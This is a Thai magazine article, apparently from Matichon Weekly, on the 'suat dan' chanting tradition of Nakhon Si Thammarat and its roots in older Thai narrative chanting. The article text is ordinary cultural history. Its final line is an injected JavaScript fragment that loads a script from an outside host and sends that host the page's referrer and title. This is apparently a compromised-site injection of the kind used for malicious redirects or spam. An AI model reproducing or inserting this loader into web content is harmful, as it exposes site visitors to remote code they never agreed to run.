p>มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 10 พฤษภาคม 2556

 

           ประเพณีจากลุ่มน้ำเจ้าพระยาแพร่กระจายลงสู่ภาคใต้ แล้วเหลือตกค้างเห็นร่องรอยหลายอย่าง เช่น สวดด้าน ที่นครศรีธรรมราช

 

สวด

           ประเพณีสวดเล่าเรื่องในไทย สืบเนื่องจากสู่ขวัญและเซ่นวักผีบรรพชน (ไม่ใช่สวดมนต์มาจากอินเดีย) โดยหมอขวัญหรือหมอผี

           สวด หมายถึงพูด หรืออ่านเป็นทำนองต่างๆ

           ยุคต้นกรุงรัตนโกสินทร์ มีประเพณี “สวดหนังสือ” หมายถึงอ่านหนังสือเป็นทำนองเสนาะ มีในบทละครอิเหนา ตอนหนึ่งว่า

           “พวกบัณฑิตติดจะเคอะเข้านั่งใกล้ ช่วยเขี่ยไต้อ่านอวดสวดหนังสือ”

           ประเพณีสวดคำหลวงสมัยต้นๆ มีนักสวดคนเดียวอย่างหมอผีหรือหมอขวัญ

           ต่อมาจึงเพิ่มให้สำรับใหญ่ขึ้น เช่น มีนักสวด 2 คน หรือ 4 คน เป็นคู่ไว้ แล้วคนหนึ่งหรือคู่หนึ่งสวดคาถาบาลี ส่วนอีกคนหนึ่งหรืออีกคู่หนึ่งสวดคำแปลภาษาไทยประสานเสียงกันไป

           คำให้การขุนหลวงหาวัด เล่าว่าสมัยกรุงศรีอยุธยาสวดคำหลวงอย่าง “ประสานเสียงโอดพันคร่ำครวญต่างๆ” สืบเนื่องมาจนถึงกรุงรัตนโกสินทร์ ดังสมเด็จฯ กรมพระยาดำรงราชานุภาพทรงพระนิพนธ์ว่าเวลานักขัตฤกษ์ เช่น เข้าพรรษา เป็นหน้าที่ขุนทินบรรณาการ-ขุนธารกำนัน กับผู้ช่วยอีก 2 คนขึ้นนั่งเตียงสวดในพระอุโบสถวัดพระศรีรัตนศาสดาราม สวดมหาชาติคำหลวงโดยทำนองอย่างเก่าถวายเวลาเสด็จพระราชดำเนินไปบำเพ็ญพระราชกุศล (คำนำมหาชาติคำหลวง, พิมพ์ครั้งแรก, 2460.)

           แต่ปากชาวบ้านเรียกสวดคำหลวงว่าสวด “โอ้เอ้วิหารราย” จึงมีโคลงเก่าบอกว่า

           มีนามไว้ว่าพระ       คำหลวง

           แรกเรียกตามกระทรวง       กระษัตรสร้าง

           ที่ตื้นต่ำสติปวง                  ปองเรียก อึงมา

           ผองอ่อนแออ่างอ้าง            โอ้เอ้พิหารราย

           พระบาทสมเด็จพระจุลจอมเกล้าเจ้าอยู่หัว รัชกาลที่ 5 ทรงพระราชนิพนธ์อธิบาย ว่าต่อมาไม่มีใครชอบฟังสวดคำหลวง พระบาทสมเด็จพระจอมเกล้าเจ้าอยู่หัว รัชกาลที่ 4 จึงโปรดเกล้าฯ ให้นักเรียนโรงทานอ่านหนังสือสวดเป็นทำนองยานี ฉบัง สุรางคนางค์ (ถึงทุกวันนี้ก็มีสวดในวัดพระแก้วโดยใช้หนังสือพระไชยสุริยาของสุนทรภู่)

           การสวดมหาชาติหรือสวดคำหลวงที่ปากชาวบ้านเรียกกันว่าสวดโอ้เอ้วิหารรายนี้ แท้ที่จริงแล้วก็คือผู้รู้หนังสือ หรือผู้คงแก่เรียนทำหน้าที่อ่านหนังสือหรือเล่าเรื่องให้ผู้ไม่รู้หนังสือคือประชาชนชาวบ้านทั่วๆ ไปได้ฟังอย่างเพลิดเพลิน อันเป็นวิธีการถ่ายทอดความรู้อย่างหนึ่ง

           เพราะการสวดเช่นนี้ มิได้มีเรื่องมหาชาติเท่านั้น แต่มีชาดกอื่นๆ ด้วย ดังประเพณีของเมืองนครศรีธรรมราช ที่เรียกว่า “สวดด้าน”

           ประเพณี “สวดด้าน” ที่นครศรีธรรมราชมาจากสวด “โอ้เอ้วิหารราย” ในสมัยกรุงศรีอยุธยานั่นเอง

           ด้วยพื้นฐานดั้งเดิมจากประเพณีสวดร่ายในพิธีกรรมเซ่นสรวงปวงผีของหมอผีและหมอขวัญจึงพัฒนาเป็นสวดมหาชาติคำหลวง และ/หรือโอ้เอ้วิหารราย รวมทั้งสวดด้านของเมืองนครศรีธรรมราช ซึ่งควรจะสืบเนื่องถึงการอ่านทำนองเสนาะด้วย

 

สวดด้าน

           สารานุกรมวัฒนธรรมไทย ภาคใต้ เล่ม 16 อธิบายสวดด้าน จะคัดมาดังต่อไปนี้

           สวดด้าน เป็นประเพณีท้องถิ่นของ จ. นครศรีธรรมราช เป็นการ “สวดหนังสือ” (อ่านเป็นทำนองเสนาะ) ประเภทนิทานต่างๆ ในวันพระ ในวัดพระมหาธาตุวรมหาวิหาร ที่เรียกประเพณีนี้ว่าสวดด้านก็เพราะการสวดกระทำที่ “พระด้าน” (พระพุทธรูปปั้นที่ประดิษฐานอยู่ที่พระระเบียงในวิหารคดรอบพระบรมธาตุ)

           ประเพณีการสวดด้านอาจจะเกิดขึ้นจากการที่ชาวบ้านชาวเมืองไปนั่งรอพระฟังเทศน์ที่พระระเบียง ก่อนที่พระจะไปถึงนั่งกันอยู่เฉยๆ คงจะเบื่อจึงคิดหาเรื่องราวมาบอกเล่าสู่กันฟัง

           ในที่สุดก็คิดได้ว่าควรจะหาหนังสือนิทานพื้นเมืองมาสวดฟังกัน เพราะเป็นสิ่งที่คนส่วนใหญ่สนใจ กิจกรรมนี้คงได้รับความนิยมจึงเกิดประเพณีสวดด้านขึ้นมา

           การสวดด้านนี้เริ่มขึ้นเมื่อทุกคนพร้อมกันที่พระระเบียงในวันพระ เพื่อฟังเทศน์และในขณะที่รอพระอยู่นั้นก็มีการสวดด้าน

           ก่อนการสวดด้านมีวิธีการทำนองเดียวกันกับการสวดโอ้เอ้วิหารรายในวัดพระศรีรัตนศาสดาราม กรุงเทพมหานคร แต่ต่างกันที่เรื่องที่ใช้สวด

           กล่าวคือการสวดโอ้เอ้วิหารรายจะสวดหนังสือเพียงเรื่องเดียวคือ “มหาชาติ    คำหลวง” ซึ่งเป็นหนังสือชาดก

           ส่วนการสวดด้านมีเรื่องที่ใช้สวดหลายเรื่อง คนสวดก็เป็นคนที่สวดหนังสือเก่งๆ และสวดหนังสือดีๆ ที่เป็นที่นิยมชมชอบของที่ประชุม หนังสือที่เลือกมามักเป็นหนังสือประเภทนิทาน ทั้งชาดกและนิทานทั่วไป เช่น เรื่องสุบิน วันคาร ทินวงศ์ สี่เสา กระต่ายทอง พระรถเสน เสือโค เป็นต้น

           ผู้สวดด้านจะต้องเป็นผู้มีความสามารถในการสวดอย่างดี กล่าวคือต้องรู้จักเน้นเสียง เล่นลูกคอ และออกท่าประกอบในตอนที่จำเป็น เช่น การใช้สีหน้า การโยกตัว

           บางครั้งคนสวดเป็นนักเทศน์ นักแหล่ หมอทำขวัญนาค นักเล่นมาลัย นายหนังตะลุง โนรา หรือเพลงบอก

           สำหรับผู้สวดด้านเมื่อสวดจบจะได้รับเงินรางวัล หรือได้รับเลี้ยงข้าวปลาอาหาร

           อนึ่งเนื่องจาการสวดด้านจัดขึ้นในทุกด้านของพระระเบียง ผู้สวดจึงต้องใช้ความสามารถในการสวดแข่งขันกัน ถ้าสวดไม่เป็นที่พอใจของผู้ฟัง ผู้ฟังก็จะทยอยไปฟังที่ด้านอื่น เมื่อสวดจบพระที่จะเทศน์มาถึงก็ฟังเทศน์ต่อไป

           การสวดด้านในสมัยหลังๆ เปลี่ยนแปลงจากเดิมไปบ้าง คือมีการสวดทั้งในพระด้านและวิหารทับเกษตร เรื่องที่ใช้สวดนอกจากหนังสือบุดแล้วยังมีหนังสือจากโรงพิมพ์ด้วย เช่น รามเกียรติ์ พระอภัยมณี สุวรรณศิลป์ สังข์ทอง ฯลฯ ส่วนมากเป็นหนังสือที่พิมพ์จากโรงพิมพ์ราษฎร์เจริญ วัดเกาะ กรุงเทพมหานคร

           การสวดด้านเริ่มเสื่อมความนิยมลงเรื่อยๆ จนปัจจุบันประเพณีนี้ได้เลิกไปโดยสิ้นเชิง

 

กาพย์สวดด้าน

           เหตุจากประเพณีสวดด้านอ่านเล่าเรื่องด้วยทำนองเสนาะให้ผู้ไม่รู้หนังสือฟังง่ายๆ เพลินๆ

           ทำให้ในภาคใต้นิยมแต่งเรื่องต่างๆด้วยกาพย์ เพื่อสะดวกใช้สวดด้าน

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;